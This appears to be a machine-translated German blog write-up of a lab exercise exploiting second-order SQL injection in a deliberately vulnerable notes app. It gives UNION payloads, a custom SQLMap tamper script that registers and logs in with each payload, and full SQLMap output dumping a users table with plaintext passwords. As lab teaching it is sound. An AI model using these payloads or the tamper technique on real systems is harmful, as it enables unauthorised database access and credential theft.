Ausnutzung der SQL-Injection 2. Ordnung
Ich bin darauf gestoßen und fand es sehr faszinierend, aber auch sehr abstrakt zu verstehen und schwer auszunutzen. Allerdings hat mir das Erlernen, wie man diese Art von (SQLi-)Schwachstelle ausnutzt, geholfen, meinen Blickwinkel zu erweitern, meine SQLMap-Fähigkeiten zu stärken und mir ein besseres Verständnis dafür zu vermitteln, wie Benutzereingaben im serverseitigen Anwendungsworkflow verarbeitet werden.
In diesem Beitrag schreibe ich über:
- SQLi 2. Ordnung im Allgemeinen,
- die notwendigen Voraussetzungen,
- wie man erkennt,
- wie man manuell ausnutzt und
- So automatisieren Sie die Ausnutzung mit einem benutzerdefinierten SQLMap-Manipulationsskript.
Die Grundlagen
Mit einfachen Worten: Bei einer SQL-Injection erster Ordnung manipuliert ein Angreifer mithilfe eines Eingabeparameters (Injection Point) eine SQL-Abfrage, die von der anfälligen Serveranwendung ausgeführt wird. Der Server verwendet die vom Benutzer bereitgestellten Eingaben, um eine SQL-Abfrage zu erstellen, um Daten in der Backend-Datenbank zu lesen, zu schreiben, zu aktualisieren, zu löschen usw. Wenn die vom Benutzer eingegebenen Eingaben nicht auf sichere Weise behandelt werden (Bereinigung, Validierung), kann der Angreifer eine Nutzlast bereitstellen, die die ausgeführte SQL-Abfrage so manipuliert, dass sie böswillige Aktionen auf dem DBMS ausführt. Charakteristisch für einen SQLi erster Ordnung ist, dass die bösartige SQL-Abfrage als direkte Folge der Payload-Injection ausgeführt wird. Der Angreifer muss keine zweite Aktion ausführen, um die bösartige Nutzlast auszuführen.
Es gibt mehrere Möglichkeiten, SQL-Injections erster Ordnung einfach zu verhindern. Die Verwendung vorbereiteter Anweisungen oder die parametrisierte Eingabeverarbeitung sind nur einige davon. Heutzutage sind sich Entwickler jedoch möglicherweise darüber im Klaren, dass Benutzereingaben auf sichere Weise gehandhabt werden sollten. Allerdings vergessen sie oft, Daten, die bereits in der Datenbank gespeichert sind, sicher zu behandeln. Hier kommt SQLi zweiter Ordnung ins Spiel.
Nehmen wir zur Verdeutlichung das folgende Szenario an: Eine Anwendung ermöglicht es Benutzern, Bilder hochzuladen und diese in der Datenbank zu speichern. Die Tabelle enthält Spalten für:
- die eindeutige ID des Bildes,
- das Bild selbst,
- der Dateiname des Bildes,
- ein Zähler für die Bildaufrufe durch Anwendungsbenutzer.
POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg
[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]
cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))
conn.commit()
conn.close()
Wie bereits erwähnt, verfügt die Datenbanktabelle „Bilder“ über eine dritte Spalte „Ansichten“. Jedes Mal, wenn ein Benutzer das Bild ansieht, wird dieser Zähler um 1 erhöht. Die Anwendung gibt den Zähler auch an den Benutzer zurück, wenn der Benutzer die Detailansicht des Bildes öffnet. An einer bestimmten Stelle des Codes könnte die Anwendung also so aussehen:
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture extracted from database]
cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]
conn.close()
Die Voraussetzungen für SQLi 2. Ordnung
Lassen Sie uns diese kurze Einführung abschließen und die Voraussetzungen und Merkmale von SQLi 2. Ordnung definieren.
- Die Anwendung ermöglicht in einem ersten Schritt irgendwie die Speicherung von Benutzereingaben innerhalb der Anwendung. Dies kann entweder im Speicherbereich der Anwendung oder beispielsweise in einem Backend-DBMS erfolgen.
- Der Angreifer kann einen zweiten Schritt ausführen, um die Anwendung dazu zu bringen, eine SQL-Abfrage auszuführen, die die im ersten Schritt eingefügte Benutzereingabe verwendet.
- Die Anwendung verwendet keine Anti-SQLi-Techniken, während sie die Abfrage (in Schritt 2) basierend auf der böswilligen Benutzereingabe (aus Schritt 1) durchführt.
Die Identifizierung dieser Schwachstellen kann je nach Komplexität und Nachvollziehbarkeit der Anwendungsarchitektur und -implementierung sehr schwierig sein.
Versuchen Sie, sich den Ausführungsablauf der Anwendungsfunktionen vorzustellen, während Sie Aktionen ausführen, die mit einem Backend-DBMS interagieren könnten.
Zuerst würden Sie natürlich immer die klassischen SQL-Injections erster Ordnung testen. Wenn jedoch nichts funktioniert und Sie davon ausgehen müssen, dass während der Verarbeitung der Injektionsanforderung einige Abwehrmaßnahmen eingesetzt werden, denken Sie einen Schritt weiter und stellen Sie sich vor, an welchen Punkten Ihre Eingaben möglicherweise in verschiedenen Funktionalitäten/Bereichen der Anwendung verarbeitet werden. Wenn Sie einige mögliche Ausführungspunkte 2. Ordnung identifiziert haben, versuchen Sie sich die Abfragen vorzustellen, die die Anwendung an diesem Punkt durchführt. Als Nächstes bauen Sie Ihre Injektionsnutzlasten so auf, dass sie die von den Ausführungspunkten 2. Ordnung durchgeführte Abfrage nutzen und die Ergebnisse überprüfen können.
Die Automatisierung dieses Prozesses kann etwas kompliziert sein, kann Ihnen aber dabei helfen, viel Zeit zu sparen. Wenn Sie den Ausnutzungsprozess mit Tools wie SQLMap automatisieren möchten, ist es jedoch unbedingt erforderlich, gut zu verstehen, wie der serverseitige Ausführungsablauf der Anwendung, die betroffenen Abfragezeichenfolgen usw. aussehen. Also schießen Sie nicht einfach auf die Bewerbung und hoffen Sie auf das Beste. Tauchen Sie so tief wie möglich in die Anwendung ein, bevor Sie den endgültigen SQLMap-Ausnutzungsbefehl vorbereiten, um die Erfolgsaussichten zu verbessern.
Manuelle Analyse und Nutzung
Um dies an einem praktischen Beispiel zu demonstrieren, verwende ich eine anfällige Anwendung („Vulnerable Notes“) mit typischen Anwendungskomponenten wie:
- Anmeldung,
- Anmeldung,
- Profil,
- Kennwort ändern,
- Notizen machen,
- Ausloggen.
Zuerst habe ich die Anwendung mit einem Browser analysiert, um potenzielle SQL-Injection-Punkte zu identifizieren.
Die Anmeldefunktion führt mit ziemlicher Sicherheit eine Art SELECT-Abfrage aus, um zu überprüfen, ob der Benutzername bereits vergeben ist, und eine INSERT-Abfrage, um meinen Benutzer zu registrieren.
Ich habe einen Benutzer erstellt und bin zur Anmeldeseite übergegangen. Diese Seite nimmt die vom Benutzer bereitgestellten Anmeldeinformationen entgegen und führt eine Art SELECT-Anweisung für die Datenbank aus, um die Anmeldeinformationen zu überprüfen.
Nach der Authentifizierung wird der Benutzer zur Startseite weitergeleitet. Der Benutzername wird oben auf der Seite angezeigt. Daher ist es möglich, dass die Anwendung zu diesem Zeitpunkt eine SELECT-Abfrage ausführt, um den Benutzernamen aus der Datenbank zu extrahieren.
Von diesem Ausgangspunkt aus kann der Benutzer benutzerbezogene Aktionen wie das Erstellen von Notizen am /notes-Endpunkt ausführen. Der Benutzername wird an zweiter Stelle in der Überschrift „Willkommen“ angezeigt. Es ist möglich, dass die Anwendung eine SELECT-Abfrage durchführt, um den Benutzernamen erneut anzufordern.
Wenn diese Funktionalität verwendet wird, führt die Anwendung höchstwahrscheinlich eine Art INSERT-Anweisung für die Datenbank aus. Nachdem Sie sich Notizen gemacht haben, können diese auf derselben Seite unter dem Formular eingesehen werden.
Um die Notizen anzuzeigen, führt die Anwendung irgendwie eine SELECT-Abfrage in der Datenbank durch, um die gespeicherten Notizen anzufordern.
Die Anwendung bietet auch eine „Passwort ändern“-Funktionalität, die Meldung auf der Seite weist jedoch darauf hin, dass diese Funktion möglicherweise nicht implementiert ist.
Wenn es jedoch implementiert wird, wird es höchstwahrscheinlich eine Art UPDATE-Abfrage in der Datenbank durchführen. Ich wollte diesen Vektor zuerst eliminieren, also habe ich die Funktion ausprobiert, aber es gelang mir nicht. Es wird bestätigt, dass die Funktion nicht implementiert ist.
Nach meinem Ansatz für SQLi erster Ordnung erstellte ich als Nächstes eine Zusammenfassung aller potenziellen SQL-Abfragen, die ich möglicherweise durch das Einschleusen bösartiger Payloads übernehmen konnte. An dieser Stelle versuche ich mir vorzustellen, wie diese Abfragen aussehen könnten. Ich bin mir nicht sicher, ob sie tatsächlich genau so aussehen, aber es hilft, zu verstehen, wie das Backend funktioniert.
Registrieren
-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME
-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)
-- Check if there is an user id where the provided credentials actually match.
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD
-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)
Zeit für den Ansatz 2. Ordnung.
Da ich die Anwendung bereits ausführlich analysiert habe, muss ich die Zielanwendung nicht noch einmal analysieren. Stattdessen reicht es aus, meine bereits erworbenen Kenntnisse über die Anwendung mit einem anderen Blick/Ansatz durchzugehen.
Um auf die zuvor genannten Voraussetzungen für SQLi 2. Ordnung zurückzukommen, muss ich mir die Frage stellen:
Wohin nimmt die Anwendung meine Benutzereingaben, speichert sie zur späteren Verwendung und verwendet sie in einem späteren Schritt als Teil einer anderen Abfrage, auf die ich keinen direkten Einfluss habe?
Mögliche Kandidaten sind:
- Benutzername : Ich gebe den Benutzernamen während des Registrierungsprozesses an die Anwendung weiter. Der Benutzername wird später von der Seite /home und von der Seite /notes abgefragt, um ihn anzuzeigen. Und es könnte auch möglich sein, dass der Benutzername verwendet wird, um die gespeicherten Notizen des bestimmten Benutzers aus der Datenbank abzufragen.
Da ich das Ergebnis der Abfrage sehen kann, weiß ich, dass es sich um ein UNION-basiertes Ausnutzungsszenario handelt. Nach der typischen Methodik muss ich zunächst herausfinden, wie viele Spalten von der ursprünglichen Abfrage aus der Tabelle abgefragt werden. Dazu bereite ich mehrere Nutzlasten vor und analysiere die Ergebnisse anschließend.
-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...
Die Nutzlast wird wie erwartet oben auf der Startseite und oben auf der Seite „/notes“ angezeigt.
Als nächstes habe ich versucht, eine Notiz einzufügen, aber überraschenderweise wird die Notiz anschließend von der Anwendung nicht angezeigt!
Scheint, als ob die Abfrage, die für das Anfordern der Notizen aus der Datenbank verantwortlich ist, fehlerhaft ist. Dies deutet natürlich darauf hin, dass unsere Nutzlast einen Einfluss auf die interne Abfrage hatte. Da jedoch nichts angezeigt wird, scheint die Abfrage einen Fehler zu erzeugen oder keine Ergebnisse zurückzugeben. Dies kann natürlich passieren, wenn wir in der Nutzlast nicht die richtige Anzahl von Spalten festgelegt haben. Fahren wir also mit den nächsten Payloads in der Liste fort, bis ein anderes Verhalten auftritt.
Zum Glück hat die nächste Ladung funktioniert! Als Überschrift und Text der Notiz wurden „None“ und „None“ zurückgegeben.
Zusammenfügen der Teile:
-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- The payload
' UNION SELECT null,null--comment
-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment
Ich habe die Informationen aus dem Spickzettel angepasst und eine funktionierende Nutzlast erstellt. Die neue Nutzlast:
' UNION SELECT null,sqlite_version()--comment
Ab diesem Zeitpunkt kann der typische SQLite-Ausnutzungsablauf (Nutzdaten im bereitgestellten Spickzettel) verwendet werden, um die gesamte Datenbank zu sichern. Probieren wir noch einige weitere Payloads aus, bevor wir den Prozess automatisieren.
Extrahieren Sie alle Tabellennamen
' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment
' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment
' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment
' UNION SELECT null, password FROM users WHERE username='admin'--comment
Automatisierte Ausnutzung über SQLMap Tamper Script
Bis ich an diesem Szenario gearbeitet habe, habe ich SQLMap nur verwendet, um SQLi erster Ordnung auszunutzen. Ich habe mich gefragt, ob es möglich ist, auch SQLi zweiter Ordnung auszunutzen. Zuerst habe ich mit meinem Terminal nach SQLMap-Optionen im Zusammenhang mit Ausnutzung zweiter Ordnung gesucht und Folgendes gefunden:
┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Erinnern wir uns an die notwendigen Schritte, um die Sicherheitslücke manuell auszunutzen:
- Nicht authentifizierte Injektion von Nutzdaten in die „Register“-Funktion.
- Authentifizierung über „Login“-Funktion.
- Authentifizierte Anfrage an die Seite „Notizen“.
Ich wusste, dass SQLMap Python-Skripte mit der Option „-tamper“ ausführen kann. Ich habe im Tamper-Script-Ordner nachgeschaut, ob ich dort etwas Nützliches finde, das ich an meine Bedürfnisse anpassen kann. Traurigerweise Nein.
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper
0eunion.py chardoubleencode.py dunion.py ifnull2casewhenisnull.py modsecurityversioned.py plus2fnconcat.py space2hash.py space2randomblank.py versionedkeywords.py
apostrophemask.py charencode.py equaltolike.py ifnull2ifisnull.py modsecurityzeroversioned.py __pycache__ space2morecomment.py sp_password.py versionedmorekeywords.py
apostrophenullencode.py charunicodeencode.py equaltorlike.py informationschemacomment.py multiplespaces.py randomcase.py space2morehash.py substring2leftright.py xforwardedfor.py
appendnullbyte.py charunicodeescape.py escapequotes.py __init__.py ord2ascii.py randomcomments.py space2mssqlblank.py symboliclogical.py
base64encode.py commalesslimit.py greatest.py least.py overlongutf8more.py schemasplit.py space2mssqlhash.py unionalltounion.py
between.py commalessmid.py halfversionedmorekeywords.py lowercase.py overlongutf8.py sleep2getlock.py space2mysqlblank.py unmagicquotes.py
binary.py commentbeforeparentheses.py hex2char.py luanginx.py percentage.py space2comment.py space2mysqldash.py uppercase.py
bluecoat.py concat2concatws.py htmlencode.py misunion.py plus2concat.py space2dash.py space2plus.py varnish.py
So schreiben Sie benutzerdefinierte Manipulationsskripte für sqlmap
Aus dem Artikel habe ich das folgende Vorlagengerüst erhalten (den erneuten Import gelöscht) und es als „custom.py“ gespeichert:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
Die Funktion empfängt die SQLMap-Nutzlast über den Funktionsparameter und gibt nach der Manipulation die manipulierte Nutzlast zurück. In dem Artikel wurde nicht erklärt, wie man die **kwargs im Kontext von SQLMap verwendet, also habe ich ChatGPT gefragt und eine nette Antwort erhalten:
Dies sollte ausreichen, um das benutzerdefinierte Manipulationsskript für den Exploit vorzubereiten. Für die Kommunikation mit dem Server habe ich die Requests-Bibliothek verwendet.
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests
def dependencies():
pass
def tamper(payload, **kwargs):
# Create Session object
s = requests.Session()
# Register user with SQLMap payload in username
s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
# Login malicious username
res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
# Get headers from SQLMap
headers = kwargs.get('headers', {})
# Extract session cookie from response
sessId = "session={}".format(s.cookies.get('session', None))
# Pass session cookie to SQLMap cookie header
headers['Cookie'] = sessId
return payload
Wenn man alle Teile zusammenfügt, kann der folgende SQLMap-Befehl verwendet werden:
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:20:46 /2023-02-04/
[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated
[*] ending @ 12:22:06 /2023-02-04/
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:25:23 /2023-02-04/
[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+
[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated
[*] ending @ 12:25:30 /2023-02-04/
──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
___
__H__
___ ___[.]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:26:59 /2023-02-04/
[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users'
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password | username |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | rcLYWHCxeGUsA9tH3GNV | admin |
| 2 | asd | dev |
| 3 | Summer2019! | amanda |
| 4 | 345m3io4hj3 | maja
...
Aufgrund ihrer Natur können diese Schwachstellen überall in Webanwendungen auftreten. Auch wenn die Entwickler auf den ersten Blick mit den Benutzereingaben richtig umgegangen sind, heißt das nicht, dass die Anti-SQLi-Maßnahmen anwendungsweit angewendet werden. In Zukunft werde ich auf jeden Fall die Augen offen halten und versuchen, den Anwendungs-/Datenbank-Workflow im Detail zu verfolgen und zu verstehen.
Ich hoffe, Ihnen hat dieser Beitrag gefallen und vielleicht kann er Ihnen bei ähnlichen Szenarien helfen. Es hat mir wirklich Spaß gemacht, das zu schreiben, und ich habe an diesem Samstag viel Neues gelernt. Hinterlassen Sie einen Kommentar, liken Sie oder folgen Sie uns und bleiben Sie auf dem Laufenden für weitere Webinhalte und bald auch einige Themen zur AD-Infrastruktur.
FRIEDEN

![Was ist überhaupt eine verknüpfte Liste? [Teil 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































